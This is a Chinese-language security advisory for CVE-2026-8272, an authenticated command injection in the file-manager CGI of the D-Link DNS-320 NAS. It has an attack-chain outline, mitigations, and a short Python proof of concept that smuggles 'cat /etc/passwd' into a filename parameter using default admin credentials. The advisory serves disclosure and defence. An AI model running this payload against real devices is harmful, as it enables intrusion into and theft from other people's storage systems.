CVE-2026-8272 D-Link DNS-320 远程命令执行漏洞

漏洞信息

漏洞编号

CVE-2026-8272

漏洞类型

操作系统命令注入

CVSS评分

4.7 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

D-Link DNS-320

漏洞概述

D-Link DNS-320 2.06B01版本存在严重的安全缺陷，涉及/cgi-bin/webfile_mgr.cgi文件处理机制。该文件中的delete、rename、copy、move、chmod及chown等关键操作函数未能有效过滤用户输入，导致操作系统命令注入漏洞。尽管利用此漏洞需要高权限认证，但攻击者可远程发起攻击，执行任意系统命令，进而对设备的机密性、完整性和可用性造成威胁。目前相关利用代码已公开，用户需尽快采取防护措施。

技术细节

该漏洞位于D-Link DNS-320 NAS设备的Web管理接口/cgi-bin/webfile_mgr.cgi中。漏洞根因在于脚本在处理文件管理功能（包括删除、重命名、复制、移动、修改权限及所有者）时，未对用户提供的参数进行严格的输入过滤和转义。由于该CGI程序直接将用户可控的参数拼接到系统命令中并调用底层接口（如popen或system）执行，攻击者可以通过注入特定的Shell元字符（如分号、反引号或管道符）来截断或拼接原有命令。

根据CVSS向量，攻击需要具备高权限（PR:H），这意味着攻击者必须先通过Web界面的身份验证。一旦绕过认证或获得凭证，攻击者即可构造恶意数据包发送至服务器。服务器解析请求后，会以Web服务进程的权限执行注入的命令。虽然CVSS评分仅为4.7（中危），但考虑到NAS设备通常存储重要数据，此漏洞仍具较高风险，可能导致设备被完全控制或数据泄露。

攻击链分析

STEP 1

侦察

攻击者扫描网络，识别出运行D-Link DNS-320固件版本2.06B01的目标设备。

STEP 2

初始访问

攻击者利用暴力破解、钓鱼或获取的凭证登录Web管理界面，获取高权限会话。

STEP 3

漏洞利用

攻击者向/cgi-bin/webfile_mgr.cgi发送特制的POST请求，在文件操作参数（如f_name）中注入恶意Shell命令。

STEP 4

命令执行

服务器端CGI脚本未过滤输入，直接执行拼接后的系统命令，攻击者获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: D-Link DNS-320 webfile_mgr.cgi OS Command Injection
# Date: 2026-05-11
# CVE: CVE-2026-8272

target_url = "http://<target_ip>/cgi-bin/webfile_mgr.cgi"

# Note: This exploit requires High Privileges (Admin credentials)
username = "admin"
password = "admin"

# The injection point is in the file operation parameters.
# Example: Using the 'delete' function to inject a command.
# Payload: filename; <command_to_execute>
payload = "test.txt; cat /etc/passwd"

# Data payload mimicking the vulnerable file operation
data = {
    "action": "delete",
    "f_name": payload
}

try:
    response = requests.post(target_url, data=data, auth=(username, password), timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response:")
        print(response.text)
    else:
        print("[-] Failed to send request.")
except Exception as e:
    print(f"[-] Error: {e}")

影响范围

D-Link DNS-320 2.06B01

防御指南

临时缓解措施

建议用户立即修改设备后台管理员密码，增加密码复杂度以防止被暴力破解。同时，在官方发布补丁前，应通过防火墙限制对NAS设备Web管理端口（通常为80或443）的外网访问，仅允许内网可信IP连接。若无需远程文件管理功能，可考虑暂时关闭Web服务。